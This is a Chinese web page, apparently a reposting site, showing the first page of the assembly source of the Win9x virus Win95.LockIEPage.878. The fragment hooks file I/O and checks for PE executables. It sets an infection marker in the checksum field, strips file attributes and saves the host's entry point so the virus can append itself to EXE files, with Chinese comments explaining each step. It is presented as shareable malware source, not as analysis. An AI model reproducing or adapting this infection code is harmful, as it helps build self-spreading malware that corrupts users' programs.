 |
Win9x病毒--Win95.LockIEPage.878原代码 |
|
| Win9x病毒--Win95.LockIEPage.878原代码 |
|
| 作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:22:23
|
名 mov esi,[ebp+(8+1+5)*4];Get ioreq mov eax,[esi+0ch];Get UniCode PathName Addr add eax,04h push L 0 push L 100h push eax push edi @@UniToBCSPath: Int 20h ;继续构造Ansi路径名 dd 00400041h ;VMMCall_UniToBCSPath add esp,4*4 or eax,eax jz short @@ClearOptFlag mov eax,[edi+eax-4] not eax cmp eax,not ("EXE.") ;是EXE文件吗? jnz short @@ClearOptFlag call @@OptFile @@ClearOptFlag: pop esi push esi ;Push Back Addr add esi,OFF OptFlag-OFF @@OldFileHookApi xor eax,eax mov [esi],eax ;清除重入标志 @@RetOldHookApi: ret @@OptFile: ;以下是修改PE文件,将病毒复在原文件尾 mov esi,edi dec esi dec esi mov ebp,esi ;保存FilePathName地址在ebp中 mov eax,4300h call @@FileIo ;IFSCall_FileIo 得到文件属性 jc @@OpenFileFalse push ecx ;保存文件属性 xor ecx,ecx mov eax,4301h call @@FileIo ;IFSCall_FileIo 将文件属性设为0 xor eax,eax mov edx,eax inc edx mov ebx,edx inc ebx mov ax,0d500h call @@FileIo ;IFSCall_FileIo 打开文件 pop ecx ;弹出文件属性 pushfd ;保存标志 push eax ;保存文件Ring0句柄 mov eax,4301h call @@FileIo ;IFSCall_FileIo 设置文件属性,恢复文件属性 pop ebx ;弹出文件Ring0句柄 popfd jc @@OpenFileFalse @@GetReadFileBuffer: add esi,size FilePathBuffer mov ecx,size ReadFileBuffer xor edx,edx mov eax,0d600h ;IFSCall_FileIo 读文件 call @@FileIo jc @@CloseFile cmp eax,ecx jnz @@CloseFile cmp word ptr [esi],"ZM" ;是Exe文件吗? jnz @@CloseFile movzx eax,word ptr[esi+3ch] cmp eax,size ReadFileBuffer-200h ja @@CloseFile add esi,eax ;esi=Pe文件Pe头结构 cmp [esi.fhPEFlag],"EP" ;是Pe文件吗? jnz @@CloseFile cmp [esi.fhCheckSum],VirusFlag ;已经传染过了吗? jz @@CloseFile mov [esi.fhCheckSum],VirusFlag ;设置感染标志 @@SaveOldAppEntryRVA: mov eax,[esi.fhEntryRVA] add eax,[esi.fhImageBase] ;得到老文件入口线形地址 mov [ebp+OFF OldAppEntry-OFF FilePathBuffer],eax movzx ecx,[esi.fhObjectCount] dec ecx mov eax,size ObjectTable mul上一页 [1] [2] [3] [4] [5] 下一页
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda 责任编辑:kinda |
|
上一篇文章: Tini 的VC原代码 下一篇文章: C语言库函数(A类字母) |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |